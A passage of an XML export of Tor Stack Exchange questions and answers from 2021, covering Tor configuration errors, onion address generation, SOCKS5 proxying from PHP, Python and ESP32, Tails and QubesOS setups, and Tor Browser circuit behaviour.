&amp;quot;C:\Users\nesto\AppData\Roaming\tor\torrc&amp;quot;.&#xA;Oct 03 10:39:49.478 [notice] Based on detected system memory, MaxMemInQueues is set to 2048 MB. You can override this by setting MaxMemInQueues by hand.&#xA;Oct 03 10:39:49.479 [notice] Opening Socks listener on 127.0.0.1:9060&#xA;Oct 03 10:39:49.479 [notice] Opened Socks listener connection (ready) on 127.0.0.1:9060&#xA;Oct 03 10:39:49.479 [notice] Opening OR listener on 0.0.0.0:9061&#xA;Oct 03 10:39:49.480 [notice] Opened OR listener connection (ready) on 0.0.0.0:9061&#xA;Oct 03 10:39:49.480 [notice] Opening OR listener on [::]:9061&#xA;Oct 03 10:39:49.480 [notice] Opened OR listener connection (ready) on [::]:9061&#xA;Oct 03 10:39:49.480 [notice] Opening Extended OR listener on 127.0.0.1:0&#xA;Oct 03 10:39:49.480 [notice] Extended OR listener listening on port 54221.&#xA;Oct 03 10:39:49.480 [notice] Opened Extended OR listener connection (ready) on 127.0.0.1:54221&#xA;Oct 03 10:39:49.000 [warn] Couldn't open file for 'Log notice file C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\tor\notice.log': Invalid argument&#xA;Oct 03 10:39:49.000 [notice] Closing partially-constructed Socks listener connection (ready) on 127.0.0.1:9060&#xA;Oct 03 10:39:49.000 [notice] Closing partially-constructed OR listener connection (ready) on 0.0.0.0:9061&#xA;Oct 03 10:39:49.000 [notice] Closing partially-constructed OR listener connection (ready) on [::]:9061&#xA;Oct 03 10:39:49.000 [notice] Closing partially-constructed Extended OR listener connection (ready) on 127.0.0.1:54221&#xA;Oct 03 10:39:49.000 [warn] Failed to parse/validate config: Failed to init Log options. See logs for details.&#xA;Oct 03 10:39:49.000 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I see the warnings, as the error says, what I understand is that not being able to write logs caused a fatal problem (I don't know why it isn't able to write if I the folder isn't limited as far as I know). However, if I stick to the error, I'd say the problem is in the config file. How would you solve this?&lt;/p&gt;&#xA;" OwnerUserId="33355" LastEditorUserId="33355" LastEditDate="2021-10-03T11:02:23.090" LastActivityDate="2021-10-03T14:39:40.483" Title="Tor.exe error: Reading config failed" Tags="|windows|bridge|error|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22742" PostTypeId="1" CreationDate="2021-10-02T18:56:08.803" Score="0" ViewCount="100" Body="&lt;p&gt;Basically what the title says. I cannot find a tool that does it for me for Windows 10 in 2021.&lt;/p&gt;&#xA;" OwnerDisplayName="iudhfgihdfigh" LastEditorUserId="34527" LastEditDate="2022-05-17T14:46:36.753" LastActivityDate="2022-05-17T14:46:36.753" Title="How to generate a Vanity domain in windows 10?" Tags="|onion-services|windows|" AnswerCount="2" CommentCount="4" ClosedDate="2021-11-21T22:52:14.010" ContentLicense="CC BY-SA 4.0" />
  <row Id="22743" PostTypeId="2" ParentId="22742" CreationDate="2021-10-02T20:04:40.603" Score="0" Body="&lt;p&gt;You cannot.&lt;/p&gt;&#xA;&lt;p&gt;Tor names are hashes. In the past some services brute forced a series of hashes until they found one that was close. The new longer hashes are even more difficult to brute force. You can try, and you may get something acceptable, but there is no tool.&lt;/p&gt;&#xA;" OwnerDisplayName="user10216038" LastActivityDate="2021-10-02T20:04:40.603" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22744" PostTypeId="2" ParentId="22742" CreationDate="2021-10-03T13:43:57.957" Score="0" Body="&lt;p&gt;Well, the hidden service names are derived from key pairs, so the &lt;strong&gt;one and only&lt;/strong&gt; way to do so - is just a bruteforce, as it's done by a lot of software.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-03T13:43:57.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22745" PostTypeId="2" ParentId="22741" CreationDate="2021-10-03T14:39:40.483" Score="0" Body="&lt;p&gt;Well, first of all - it looks like the Log line is correct, but in Windows you need to try a combo of the following - and not just in Tor, it happens everywhere:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try to make a double slashes, i.e. use &lt;code&gt;\\&lt;/code&gt; instead of &lt;code&gt;\&lt;/code&gt; - it's a libC related implementation bug: a single slash is a shielding symbol for the next character, so if the config value is not processed properly - you have to use a double ones&lt;/li&gt;&#xA;&lt;li&gt;As you do have whitespaces in your full path &lt;strong&gt;or&lt;/strong&gt; non-english  characters like in username - try to use double quotes for the whole path string, like &lt;code&gt;&amp;quot;c:\file.log&amp;quot;&lt;/code&gt; instead of &lt;code&gt;c:\file.log&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Service folders like AppData do have permissions auto-reset from time to time, especially during windows update - so I do recommend you to use a folder like &lt;code&gt;c:\tor&lt;/code&gt; - english-only, less than 8 symbols, on the root level of the drive - works bulletproof for me for years&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-03T14:39:40.483" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22746" PostTypeId="2" ParentId="20279" CreationDate="2021-10-03T14:49:37.030" Score="0" Body="&lt;p&gt;Tor uses TCP tunnels, so - regardless of the previous answer - no need to use it. The hidden service is reached from the Tor node that is hosting it, usually through a localhost. The scenario you've described about IP revealing - yes, it &lt;em&gt;can&lt;/em&gt; be a privacy problem. The design doc states clear - the system is anonymizing mostly the client, not the server - it's only rudimentary in a &lt;em&gt;standard&lt;/em&gt; setup. To conceal your server IP use bridges-only for your hosting server(s) - that will elevate the privacy, but if you want both client and server to be equally anonymized - use I2P, not Tor - it's designed for exactly that purpose&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-03T14:49:37.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22747" PostTypeId="2" ParentId="19863" CreationDate="2021-10-03T15:13:49.890" Score="0" Body="&lt;p&gt;Well, I'm from Russia too - and that's totally not a problem to read Tor's basic documentation on torproject.org website having just 8th grade school english level, so don't worry. Helping others without technical knowledge is impossible in matters like this: you have to see the technical background for every problem you're asked about, and that's a mandatory demand, because you can physically solve the problem with technical mistakes and pitfalls and you will hurt the privacy badly. And - speaking about Russia - this can have a big consequences in a matter of personal security&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-03T15:13:49.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22748" PostTypeId="2" ParentId="19253" CreationDate="2021-10-03T17:09:25.637" Score="0" Body="&lt;p&gt;Well, it totally depends on the mail &lt;strong&gt;server&lt;/strong&gt; configuration, not a client: you can utilize even a builtin one through Orbot with total proxification enabled. If the server is set up properly - it can even have an onion address! So - on the client side you need &lt;strong&gt;just&lt;/strong&gt; a working email client, that's it! Everything else depends on server&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-03T17:09:25.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22750" PostTypeId="2" ParentId="22262" CreationDate="2021-10-04T06:43:15.837" Score="0" Body="&lt;p&gt;No, it can't: because the middle node is contacted by the first node of the chain, you don't have any kind of direct connection to that node &lt;em&gt;and&lt;/em&gt; the connection pipe is unified, i.e. if you're a node and you're contacted - you can not even determine what exactly contacts you - only the protocol commands matter&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-04T06:43:15.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22751" PostTypeId="2" ParentId="9701" CreationDate="2021-10-04T06:54:34.820" Score="0" Body="&lt;p&gt;Well, first of all - you need any Tor instance, either Orbot or the statically compiled-in one, and you don't need any root privileges! If you're making an application that should be able to utilize Tor's privacy - make sure to implement SOCKS5&lt;strong&gt;s&lt;/strong&gt;, not just SOCKS5 - the &lt;code&gt;s&lt;/code&gt; letter means DNS resolving through SOCKS proxy. Nowdays - if you have just a web application - you can easily utilize Tor's built-in HTTPS proxy via standard libraries as well.&lt;/p&gt;&#xA;&lt;p&gt;About the root privileges: even the root level &lt;strong&gt;does not prevent the leaks&lt;/strong&gt; : check the tcpdump when the device is booting, for example... These privileges are needed to execute the &lt;code&gt;iptables&lt;/code&gt; - either a built-in or a shipped one - to make a diversion rules work, but it's not a guarantee that it will safeguard you: &lt;em&gt;any&lt;/em&gt; root-enabled app can mangle these rules or add it's own ones....&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-04T06:54:34.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22752" PostTypeId="2" ParentId="22631" CreationDate="2021-10-04T06:56:44.990" Score="0" Body="&lt;p&gt;It's OK for &lt;em&gt;any&lt;/em&gt; self-reorganizing network, including the Tor one! The red flag - in means of connection listing - if there will be a connections to the IP addresses you're sure that are not members of Tor network and not a services you do need to use.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-04T06:56:44.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22753" PostTypeId="1" AcceptedAnswerId="22754" CreationDate="2021-10-04T14:40:16.877" Score="0" ViewCount="27" Body="&lt;p&gt;just a simple question:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for how long every server of the net keep its private ? Or when every server change the key ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I ask this because if a hacker steal the keys of the entire network how long he can use the key ?&lt;/p&gt;&#xA;" OwnerUserId="33359" LastActivityDate="2021-10-04T16:03:20.373" Title="For how long a node keep its key?" Tags="|security|key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22754" PostTypeId="2" ParentId="22753" CreationDate="2021-10-04T16:03:20.373" Score="0" Body="&lt;p&gt;The key is considered valid for a timeframe like a month - that's my observation as a node operator I used to be some years ago. You can regenerate keys anytime just by cleaning the key folder and restarting Tor.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-04T16:03:20.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22755" PostTypeId="2" ParentId="21922" CreationDate="2021-10-04T16:09:27.650" Score="1" Body="&lt;p&gt;I do recommend you QubesOS instead of Tails, but the requirements are basically the same:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;At least a dual-core chip with &lt;strong&gt;true&lt;/strong&gt; two cores, i.e. don't forget about Intel HyperThreading's virtual cores&lt;/li&gt;&#xA;&lt;li&gt;At least 8Gb of RAM. Yes, 8 - and not 4 or smaller, because you need some RAM for your regular tasks to run smoothly&lt;/li&gt;&#xA;&lt;li&gt;256Gb &lt;strong&gt;fast&lt;/strong&gt; SSD - so disk will not ruin your day. If you have an option to choose either a 256 fast one or 512 of slow/green/regular one - choose the fast one!&lt;/li&gt;&#xA;&lt;li&gt;a discrete video card. Yes, Intel's built-in/integrated ones can do the job, but they are slow and are often ruining the GUI experience because of the fact that many graphical tasks are perfectly accelerated by the discrete video cards, especially by NVidia ones or a beefy Radeon/Radeon Vega. Yes, Vega is supposed to be counted as a built-in one, but as my experience is showing me - it fits the task. But NVidia is preferred&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;P.S. Just forgot to mention: ARM is good too and keep in mind that ALL of the ARM video cores are counted as discrete because of SoC paradigm.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2021-10-05T18:50:35.530" LastActivityDate="2021-10-05T18:50:35.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22756" PostTypeId="2" ParentId="21974" CreationDate="2021-10-04T19:03:58.297" Score="0" Body="&lt;p&gt;Well, first of all - remember, that Tails &lt;em&gt;is&lt;/em&gt; Linux by heart, so - basically - there's an attack vector for gaining access to all the hard drives attached. If you want true anonymity - unplug it when you're using Tails : physically or via BIOS. Where to save data - it's totally up to you: Tails is Linux, so just mount it and use it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-04T19:03:58.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22757" PostTypeId="2" ParentId="3861" CreationDate="2021-10-04T19:35:05.090" Score="0" Body="&lt;p&gt;The issue is not OS-dependent, it's how the hardware works. You need to examine the following in your BIOS(it may need updates if you have an old one):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is the legacy boot enabled?&lt;/strong&gt; If not, the USB drives will not be among the list of the devices that are searched at the very first phase of the boot-up process to look for an operating system &lt;em&gt;loader&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is your boot drive list locked?&lt;/strong&gt; It's a secure habit to leave &lt;em&gt;just one&lt;/em&gt; drive to boot from - to avoid some attack vectors. Make sure that you have checked the previous part and that the drive is in the boot list&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;What is your BBS key?&lt;/strong&gt; BBS states for an explicit list of &lt;em&gt;every&lt;/em&gt; boot-capable device that a BIOS can see. The boot device priority list has a size of 3 or 4 items like in a half of the times, so there can be just no turn for your USB drive to be checked: a common situation is a fully unlocked list but 3 devices are HDD, CD/DVD and an Ethernet card, but the BBS menu allows you to choose the drive explicitly and it will work. Uually it can be F8, F10 or F2(if it's not used for the BIOS itself)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Secure/Signed boot enforcement&lt;/strong&gt; It can ruin your day if your BIOS allows you to boot only specifically signed &lt;em&gt;bootloader&lt;/em&gt;, like NTLDR. Turn it off and Save changes in BIOS, after that you can see your device in all the lists including BBS menu if this was an issue&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;UEFI boot&lt;/strong&gt; To boot &lt;em&gt;any&lt;/em&gt; Linux you don't need it, usually&amp;amp;actually, most of the times. So - if the problem still persists and the UEFI can be disabled(usually the alternate mode is called as &lt;em&gt;Legacy boot&lt;/em&gt; or &lt;em&gt;MBR boot&lt;/em&gt;) - give it a try.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-04T19:35:05.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22758" PostTypeId="2" ParentId="22720" CreationDate="2021-10-04T20:56:32.643" Score="0" Body="&lt;p&gt;In addition to privacy issues of plaintext SMS detailed in the nice answer by Alexey Vesnin, SMS also discloses my location to the network operator who might collude with the web service provider and thus link and reveal important information about myself.  I therefore needed another solution that works exclusively via online services.  I funded a &lt;a href=&quot;https://gitcoin.co/issue/degenprivacy/degenops/1/100026665&quot; rel=&quot;nofollow noreferrer&quot;&gt;bounty on Gitcoin to get me access to a sim card&lt;/a&gt;.  This is not a good solution for 2FA because someone else can log me out of accounts but it does suffice for verification steps as used by Twitter and Discord.  If needed, I can remove the phone number from the account afterwards.&lt;/p&gt;&#xA;&lt;p&gt;I did not check if this complies with T&amp;amp;Cs of the involved platforms, please make sure to check that yourself if you're considering this.&lt;/p&gt;&#xA;" OwnerUserId="33331" LastActivityDate="2021-10-04T20:56:32.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22759" PostTypeId="2" ParentId="20506" CreationDate="2021-10-05T16:12:03.070" Score="0" Body="&lt;p&gt;It's better to avoid it because they can be used to fingerprint you, but if you do need some customization &lt;strong&gt;and&lt;/strong&gt; keep privacy - use a QubesOS's disposable VM's with all the customizations you need&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-05T16:12:03.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22760" PostTypeId="2" ParentId="16047" CreationDate="2021-10-06T06:55:58.483" Score="0" Body="&lt;p&gt;The 2.12 iso image is available by following this link :&#xA;&lt;a href=&quot;https://archive.org/search.php?query=tails%20i386%20iso&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.org/search.php?query=tails%20i386%20iso&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33371" LastActivityDate="2021-10-06T06:55:58.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22761" PostTypeId="1" CreationDate="2021-10-06T07:29:36.613" Score="0" ViewCount="526" Body="&lt;p&gt;There is a lot of talk about the poor old ESP32 chip not being able to handle TOR due to its resource constraints, and I know there is one library out there that might work if I had platform.io and vscode... but I have neither - I'm an Arduino IDE guy - and the briand-toresp32 is too big for me to work on.&lt;/p&gt;&#xA;&lt;p&gt;All of that said, there is also a lot of code out there to turn an ESP32 &lt;strong&gt;INTO&lt;/strong&gt; a socks proxy... but very little I can find (actually zero - hence this post) about how to connect the ESP32 &lt;strong&gt;TO&lt;/strong&gt; a SOCKS proxy, which would seem like the perfect option (for an ESP32/8266 anyway).&lt;/p&gt;&#xA;&lt;p&gt;If you use the WIFIClient.connect() method to connect to a SOCKS proxy then send the full URL into the GET/POST string, that seems to make the proxy think you want it to be an HTTP proxy... my SOCKS proxy doesn't like that.&lt;/p&gt;&#xA;&lt;p&gt;Using a SOCKS proxy in PHP (using CURL) is easy, just needing to add 2 &lt;code&gt;curl_setopt()&lt;/code&gt; lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $ch = curl_init ( &amp;quot;http://myserver.onion&amp;quot;);&#xA;    curl_setopt ( $ch, CURLOPT_PROXY, &amp;quot;10.10.1.1:9050&amp;quot; );&#xA;    curl_setopt ( $ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5_HOSTNAME );&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Doing it in Python (using the requests package) is even easier (and that's saying something coming from me) just setting up a &lt;code&gt;proxies&lt;/code&gt; object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    proxies = { &amp;quot;http&amp;quot;: &amp;quot;socks5h://10.10.1.1:9050&amp;quot; }&#xA;    response = requests.post(&amp;quot;http://myserver.onion&amp;quot;, data=payload, headers=headers, proxies=proxies)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone know of a class that will handle the SOCKS stuff for me, or a really simple explanation of what I need to do to write my own or one that is almost there, that I can try and port into the Arduino IDE?&lt;/p&gt;&#xA;" OwnerUserId="33372" LastActivityDate="2022-03-05T23:07:15.850" Title="Connecting an ESP32 to a site via a SOCKS5 proxy" Tags="|torsocks|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22763" PostTypeId="2" ParentId="16047" CreationDate="2021-10-06T20:59:40.133" Score="-1" Body="&lt;p&gt;Build up a QubesOS from source - with &lt;code&gt;-mtune=native -march=native&lt;/code&gt; CFLAGS, it will let you use all your CPU can offer, which is essential to 32-bit arch: Intel or ARM. If your CPU is unable to provide any kind of hardware virtualization - then take a look at eBay and/or Amazon for a second-hand devices. It will pay you back greatly!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-06T20:59:40.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22764" PostTypeId="2" ParentId="22761" CreationDate="2021-10-06T21:05:19.083" Score="0" Body="&lt;p&gt;Well, unless you're using Arduino Yun or it's descendants - it will not work &lt;em&gt;on board&lt;/em&gt;: there's too much for an AVR8 or AVR32 chip to do it. If you do need it to be used on such a chip - use an intermediate routing SBC like Raspberry Pi or it's &amp;quot;digital consorts&amp;quot;: even if you'll manage to support SOCKS5h, you'll have no &lt;em&gt;proper&lt;/em&gt; firewall to avoid data leaks&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-06T21:05:19.083" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22765" PostTypeId="2" ParentId="17529" CreationDate="2021-10-06T21:17:16.663" Score="0" Body="&lt;p&gt;You need to do 3 checkpoints to fix this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install NTP daemon &lt;strong&gt;and&lt;/strong&gt; buy for 20-50 USD a GPS shield with PPS output and USB-SPI or USB-I2C bridge, it will give you a Stratum 0 time grade on your node&lt;/li&gt;&#xA;&lt;li&gt;Obtain/install some bridges, install is preferred. You will elaborate them with keys so it will shield you from DPI&lt;/li&gt;&#xA;&lt;li&gt;Install the Bind 9 DNS server with root hints only and route it through Tor - so no DNS-trigger will arise for a censorship of your connection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-06T21:17:16.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22766" PostTypeId="2" ParentId="21193" CreationDate="2021-10-06T21:18:58.437" Score="0" Body="&lt;p&gt;It's an old Tor Browser &amp;quot;bug&amp;quot;. You &lt;strong&gt;don't&lt;/strong&gt; need a browser - yes, it's better than nothing, but it's not a solution. Use a VM - Virtualbox, Xen, KVM or QubesOS - and a &lt;strong&gt;normal&lt;/strong&gt; browser &lt;em&gt;properly incapsulated&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-06T21:18:58.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22767" PostTypeId="1" CreationDate="2021-10-07T12:15:54.437" Score="0" ViewCount="157" Body="&lt;p&gt;Good day, i have some problem with tor daemon on Linux.&#xA;i use tor daemon to proxy access some site, but periodic tor is frozen, and can't proxy requests.&#xA;in logs i seee only this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Oct 07 02:29:54 Tor[6278]: Rend stream is 120 seconds late. Giving up on address '[scrubbed].onion'.&#xA;Oct 07 02:32:27 Tor[6278]: Rend stream is 120 seconds late. Giving up on address '[scrubbed].onion'.&#xA;Oct 07 02:32:31 Tor[6278]: Rend stream is 120 seconds late. Giving up on address '[scrubbed].onion'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;i use default tor configuration and not change torrc.&#xA;how can fix that?&#xA;or tell me please maybe have can i tack this via Tor Control.&#xA;if restart tor daemon all starts normaly.&lt;/p&gt;&#xA;" OwnerUserId="33376" LastActivityDate="2022-03-09T22:01:55.150" Title="Tor daemon is frozenn ( Rend stream is 120 seconds late.)" Tags="|configuration|circuit|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22768" PostTypeId="1" CreationDate="2021-10-07T13:49:06.320" Score="0" ViewCount="140" Body="&lt;p&gt;running lsof I can see some open files inside the tor directory.&lt;/p&gt;&#xA;&lt;p&gt;specifically:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor-browser_en-US/Browser/.local/share/gvfs-metadata/home-xxxxxx.log&#xA;&#xA;tor-browser_en-US/Browser/.local/share/gvfs-metadata/home&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;why are these files open if tor isn't running ?&lt;/p&gt;&#xA;" OwnerUserId="33378" LastActivityDate="2022-03-07T17:04:45.463" Title="why does the files inside the gvfs-metadata directory remains open after tor is closed" Tags="|log|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22770" PostTypeId="2" ParentId="22768" CreationDate="2021-10-08T15:22:13.280" Score="0" Body="&lt;p&gt;LSOF is a handy tool, but it needs the user to understand what it writes: Tor itself is not using these files at all - they are even not used by the Tor browser &lt;em&gt;directly&lt;/em&gt; - only through a service component. To make sure that everything &lt;strong&gt;is&lt;/strong&gt; closed after you've closed Tor - use virtual machines and power them off after finishing the things you do through Tor&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-08T15:22:13.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22771" PostTypeId="1" CreationDate="2021-10-09T11:05:49.360" Score="0" ViewCount="2451" Body="&lt;p&gt;0&lt;/p&gt;&#xA;&lt;p&gt;Is there a console file downloader for OS Windows, over the tor network with onion resources? That is, without any intermediaries like curl+tor-bundle, wget+tor-bundle. So that this utility accepts something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tordwnl.exe -o mfqksxthtpnjhpfuhepxbrstpgjchtlybrjd.onion/document.xls -f document.xls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and downloaded the file to the computer disk? Or maybe the tor-bundle itself can do this, but this is not documented? It looks like here &lt;a href=&quot;https://github.com/aberi/onion-downloader&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/aberi/onion-downloader&lt;/a&gt; has what I need, but quite an old project and only for linux.&lt;/p&gt;&#xA;" OwnerUserId="33389" LastActivityDate="2022-03-08T17:04:55.527" Title="Is there a file downloader over the tor network?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22772" PostTypeId="1" CreationDate="2021-10-09T12:32:24.750" Score="0" ViewCount="157" Body="&lt;p&gt;If I understand correctly Tor Browser's &amp;quot;new circuit&amp;quot; attaches new connections to a new circuit while letting old connections finish in the old circuit. It does not clear out cookies, so that domain-isolated user session persists across circuits (for that URL-bar domain).&lt;/p&gt;&#xA;&lt;p&gt;But what happens to SSL session and DNS cache? Are they reset by &amp;quot;new circuit&amp;quot; or do they persist? Is there anything else that gets reset or that persists?&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, what happens on Tor Browser's side when the tor process itself changes the circuit on its own because it has become dirty? Does Tor Browser react to that in any way?&lt;/p&gt;&#xA;&lt;p&gt;The reason for asking is that I'm trying to replicate Tor Browser's &amp;quot;new circuit&amp;quot; with libcurl as exactly as possible, so I'd be really grateful for any implementation details or pointers.&lt;/p&gt;&#xA;&lt;p&gt;My current &amp;quot;new circuit&amp;quot; implementation retains only cookies while resetting DNS cache and SSL session. It lets existing transfers complete through the old circuit. It's also completely ignorant of the tor process itself resetting dirty circuits on its own, so in that case SSL session and DNS cache are not reset. How well does this match Tor Browser's implementation? Anything else I should be aware of?&lt;/p&gt;&#xA;" OwnerUserId="33390" LastActivityDate="2021-10-09T14:40:46.150" Title="Tor Browser's &quot;new circuit&quot;: SSL session, DNS cache, and other details" Tags="|tor-browser-bundle|circuit|dns|ssl|session|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22773" PostTypeId="2" ParentId="22772" CreationDate="2021-10-09T14:40:46.150" Score="-1" Body="&lt;p&gt;No, they are not reseted &lt;strong&gt;and&lt;/strong&gt; you're pointing at the right thing! The maximal anonymity can not be achieved neither by using Tor Browser, nor by using Tails - as my research shows. There is a hardcore way that - actually - is &lt;em&gt;available&lt;/em&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;em&gt;easy to understand&lt;/em&gt;* for a regular user - it's a QubesOS. It's a Linux-based distribution focused on security &lt;strong&gt;via&lt;/strong&gt; virtualization through Xen hypervisor - and you can make a very secure environment &lt;em&gt;that fits your personal needs&lt;/em&gt; using it. For your question - you split the VM's for the browser &lt;strong&gt;and&lt;/strong&gt; DNS server onboard, so no re-corellation attack vectors will be possible. You can not do it on Tails - unless you're nearly retweaking the whole distro by hand, but on QubesOS - it's some clicks away and really simple.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-09T14:40:46.150" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22774" PostTypeId="2" ParentId="22767" CreationDate="2021-10-09T14:46:53.243" Score="0" Body="&lt;p&gt;Looks like the circuit to the dot-onion is suffering. You have a simple 3-step checklist to follow to ensure the things are working right:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is your ORPort available from outside?&lt;/strong&gt; Tor performs this check at startup - and not without a reason. Having it available makes your node integrated into the network in a &lt;strong&gt;greatly higher&lt;/strong&gt; level&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Has your network stack been tuned?&lt;/strong&gt; Tor has a very moderate requirements, &lt;strong&gt;but&lt;/strong&gt; to make it work faster you have to &lt;em&gt;increase&lt;/em&gt; the number of network connections, file descriptors, buffer sizes and &lt;em&gt;decrease&lt;/em&gt; the connection termination timeouts, so it will be no tarpit attack vectors&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Do you run and use bridges?&lt;/strong&gt; If you're not using them - you should run one! It's not an obligation to make it public, but even cooperating with your friends to bridge each other - it &lt;strong&gt;really&lt;/strong&gt; helps!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-09T14:46:53.243" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22775" PostTypeId="2" ParentId="22771" CreationDate="2021-10-09T14:49:12.247" Score="0" Body="&lt;p&gt;Actually, &lt;strong&gt;any&lt;/strong&gt; downloader that can use HTTPS or SOCKS5 proxy is good for the task. Also - you can run &lt;strong&gt;all&lt;/strong&gt; the POSIX and usual tools on Windows just through &lt;a href=&quot;https://www.msys2.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSYS2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-10-09T14:49:12.247" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
